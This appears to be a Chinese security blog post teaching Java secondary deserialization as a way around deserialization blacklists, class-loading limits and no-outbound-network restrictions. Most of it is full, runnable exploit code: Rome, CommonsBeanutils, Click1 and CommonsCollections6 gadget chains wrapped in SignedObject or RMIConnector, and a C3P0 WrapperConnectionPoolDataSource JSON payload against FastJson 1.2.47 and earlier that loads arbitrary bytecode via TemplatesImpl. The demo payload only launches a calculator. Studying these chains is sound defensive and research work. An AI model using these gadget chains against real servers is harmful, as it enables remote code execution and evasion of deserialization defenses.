前言

在学习FastJson低版本漏洞时,机器不出网时,可以利用C3P0二次反序列化打内存马;之前就听说过Java二次反序化,但是一直不知道是啥;正好可以学习一波;

参考@Poria师傅

简单介绍

众所周知,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类乃万恶之源(类加载),很多利用链最后都是利用了它;如果此类在黑名单了该怎么办?

在某些情况下,就可以利用二次反序列化绕过黑名单;

简单介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义在于绕过黑名单的限制或不出网利用或者绕过一些loadClass()不能够加载数组的问题

利用方法

SignedObject

java.security下的一个类;

其构造方法会将第一个参数序列化,然后赋值给content属性,SignedObjectgetObject方法会将content属性反序列化

利用方式如下:先构造一个恶意SignedObject,然后调用它的getObject()方法即可

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));

利用思路:

  • 谁的方法调用了getObject方法,然后一直往上跟readobject或者getter方法
  • 谁的反射可控,直接进行反射调用

而Rome和CB中是可以调用某个类的getters方法的,

Rome

注意:我重写了resolveClass方法,方便看在第一次反序列化时使用了那些类名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class MyObjectInputStream extends ObjectInputStream{

public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
System.out.println(desc.getName());
return super.resolveClass(desc);
}
}

众所周知Rome有两条,既可以用HashCode也可以用equals;

我这里以HashCode为例:看着很长,其实就是在之前的对象上套了一层SignedObject而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class RomeHashCode {
public static void main(String[] args) throws Exception {
TemplatesImpl fakeTemplates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","zIxyd");
setFieldValue(templates,"_bytecodes",new byte[][]{code});

HashMap hashMap1 = getpayload(Templates.class, fakeTemplates,templates);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
SignedObject dsa = new SignedObject(new ConstantTransformer(1), kp.getPrivate(), Signature.getInstance("DSA"));
HashMap hashMap2 = getpayload(SignedObject.class, dsa,signedObject);

serialize(hashMap2);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new MyObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}

public static void setFieldValue(Object object,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = object.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(object,value);
}

public static HashMap getpayload(Class clazz, Object flaseObject,Object trueObject) throws Exception {
//rome链的关键
ToStringBean toStringBean = new ToStringBean(clazz, flaseObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,1);

//防止序列化时命令执行
Class toStringBeanClass = toStringBean.getClass();
Field object = toStringBeanClass.getDeclaredField("_obj");
object.setAccessible(true);
object.set(toStringBean,trueObject);
return hashMap;
}
}

可以看到,成功绕过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

CB

因为CB链也是可以调用某个类的getters方法的,所以也可以通过SignedObject.getObject()来二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception {
TemplatesImpl fakeTemplates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "zIxyd");
setFieldValue(templates, "_bytecodes", new byte[][]{code});

PriorityQueue priorityQueue1 = getPayload(templates, "outputProperties");

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(priorityQueue1, kp.getPrivate(), Signature.getInstance("DSA"));

PriorityQueue priorityQueue2 = getPayload(signedObject, "object");

serialize(priorityQueue2);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new MyObjectInputStream(new FileInputStream("cc.bin"));
ois.readObject();
ois.close();
}

public static void setFieldValue(Object object, String field, Object value) throws Exception {
Field declaredField = object.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

public static PriorityQueue getPayload(Object object, String string) throws NoSuchFieldException, IllegalAccessException {
BeanComparator beanComparator = new BeanComparator(string);
//防止序列化时调用;
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(object);
priorityQueue.add(2);

Class c = priorityQueue.getClass();
Field comparator = c.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, beanComparator);
return priorityQueue;
}
}

Click1

因为Click1链也是可以调用某个类的getters方法的,所以也可以通过SignedObject.getObject()来二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Click1 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "Poria");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

PriorityQueue priorityQueue = getPayload(templates, "outputProperties");

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(priorityQueue, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue priorityQueue2 = getPayload(signedObject, "object");

serialize(priorityQueue2);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new MyObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}

public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = object.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

public static PriorityQueue getPayload(Object object, String string) throws Exception {

Column column = new Column(string);
//防止空指针异常
column.setTable(new Table());
Class clazz = Class.forName("org.apache.click.control.Column$ColumnComparator");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Column.class);
declaredConstructor.setAccessible(true);
Comparator comparator = (Comparator) declaredConstructor.newInstance(column);

//先填垃圾数据,防止反序列化时就调用,后面在通过反射改回来
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);
priorityQueue.add(1);
priorityQueue.add(2);

//通过反射将垃圾数据改成恶意数据
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(priorityQueue);
objects[0] = object;

Field comparatorField = priorityQueue.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, comparator);

return priorityQueue;
}
}

RMIConnector

javax.management下一个与远程 rmi 连接器的连接类

最终在javax.management.RMIConnector#findRMIServerJRMP找到二次反序列化利用点;

给出二次反序列化的gadget

1
2
3
javax.management.RMIConnector#connect
javax.management.RMIConnector#findRMIServer
javax.management.RMIConnector#findRMIServerJRMP

到此,这个利用方法就通了,给出构造

1
2
3
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null)

利用思路:

  • 谁的方法调用了connect方法并且传入的值可控
  • 谁的反射可控,直接进行反射调用

师傅们给出的方法是通过InvokerTransformer类,反射调用了connect方法;

(个人感觉有点鸡肋啊,InvokerTransformer这个类本身就很有可能在黑名单中,即使没有在黑名单中,为啥不直接反射调用SignedObject.getObject()呢?,而且CC在3.2.2版本中 InvokerTransformer就用不了了)

CC6

给出CC6的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//得到要执行命令的HashMap对象
HashMap hashMap = getPayload(chainedTransformer,"deafbeef");
//将要执行命令的HashMap对象序列化之后变成Base64数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashMap);
oos.close();
byte[] serializedObject = byteArrayOutputStream.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedObject);
System.out.println("Base64 Encoded String: " + base64Encoded);

// 开始二次序列化操作
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64Encoded);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
//利用InvokerTransformer反射调用 RMIConnector.connect方法
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
// 最终
HashMap hashMap2 = getPayload(invokerTransformer,rmiConnector);


//============= 也可以用 SignedObject 二次反序列化 ======================
// KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
// kpg.initialize(1024);
// KeyPair kp = kpg.generateKeyPair();
// SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
// InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);
//
// HashMap hashMap2 = getPayload(invokerTransformer,signedObject);

serialize(hashMap2);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new MyObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = object.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

public static HashMap getPayload(Object object,Object hackObject) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, (Transformer) object);
TiedMapEntry tiedMapEntry = new TiedMapEntry(hashMap, hackObject);
hashMap.put(tiedMapEntry, "deadbeef");
Class tiedMapEntryClass = TiedMapEntry.class;
Field map = tiedMapEntryClass.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, lazyMap);
return hashMap;
}
}

可以明显看出很鸡肋,感觉最大的作用是来绕过一些loadClass()无法加载数组的情况;

列如:

反序列化默认是用的Class.forName

我这里重写resolveClass,改成用URLClassLoader.loadClass()去加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.net.URL;
import java.net.URLClassLoader;

public class MyObjectInputStream extends ObjectInputStream{

private ClassLoader classLoader;
public MyObjectInputStream(InputStream in) throws IOException {
super(in);

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
if (classLoader != null) {
URL[] urLs = ((URLClassLoader) classLoader).getURLs();
this.classLoader = new URLClassLoader(urLs);
} else {
System.out.println("error!!!");
}
}

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
System.out.println(desc.getName());
Class<?> clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}

这就和shiro550漏洞很像,不能加载Transformer数组;网上有一种对应方法:可以将CC6之类的链改成可以不用Transformer数组;但是我这里甚至不能加载byte数组;只能用二次反序列化绕过

参考[TCTF 2021]buggyLoader; Java安全——JVM类加载器

WrapperConnectionPoolDataSource

com.mchange.v2.c3p0下的一个类,所以需要c3p0依赖

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

最终在com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray找到二次反序列化利用点;

给出二次反序列化的gadget

1
2
3
4
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray

如图所示:

其中有一个判断语句,当其属性为userOverridesAsString时,将调用parseUserOverridesAsString方法

截取HexAsciiSerializedMap之后的内容,进入到fromByteArray

最后进入到deserializeFromByteArray中,进行二次反序列化

该链通常配合FastjsonJackson环境下不出网利用的打法;

1
2
3
4
5
6
7
8
9
10
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"rand2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
}
}

可以打FastJson原生反序列化漏洞,而无需CC等依赖;参考@y4tacker师傅

C3P0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class C3p0 {
public static void main(String[] args) throws Exception {

byte[] fastJsonPayload = getFastJsonPayload();
String hexstring = bytesToHex(fastJsonPayload);
String FJ1247 = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"rand2\": {\n" +
" \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexstring + ";\",\n" +
" }\n" +
"}";
JSON.parseObject(FJ1247);
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new MyObjectInputStream(new FileInputStream("cc.bin"));
ois.readObject();
ois.close();
}

public static void setFieldValue(Object object, String field, Object value) throws Exception {
Field declaredField = object.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

public static String bytesToHex(byte[] bytes) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xff);
if (hex.length()<2){
stringBuffer.append("0" + hex);
}else {
stringBuffer.append(hex);
}
}
return stringBuffer.toString();
}

public static byte[] getFastJsonPayload() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "zIxyd");
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);

ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(hashMap);
return bao.toByteArray();
}
}

需要注意fastjon版本<=1.2.47;

总结

Java二次反序列化意义在于绕过黑名单的限制或不出网利用或者绕过一些loadClass()不能够加载数组的问题

由于RMIConnector过于鸡肋;常用的利用链是SignedObject这条链;利用方式是看是否有利用链可以调用getters方法

WrapperConnectionPoolDataSource这条链需要找到某条利用链可以调用setters方法,所以经常配合FastjsonJackson环境下不出网利用